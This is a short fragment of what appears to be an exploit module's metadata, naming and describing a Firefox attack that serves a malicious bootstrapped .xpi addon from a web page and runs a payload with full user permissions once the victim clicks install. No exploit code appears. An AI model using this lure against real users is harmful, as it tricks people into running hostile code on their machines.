'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
'Description' => %q{
This exploit dynamically creates a .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page. The victim's Firefox browser
will pop a dialog asking if they trust the addon.
Once the user clicks "install", the addon is installed and
executes the payload with full user permissions. As of Firefox
4, this will work without a restart as the addon is marked to
be "bootstrapped". As the addon will execute the payload after
each Firefox restart, an option can be given to automatically
uninstall the addon once the payload has been executed.
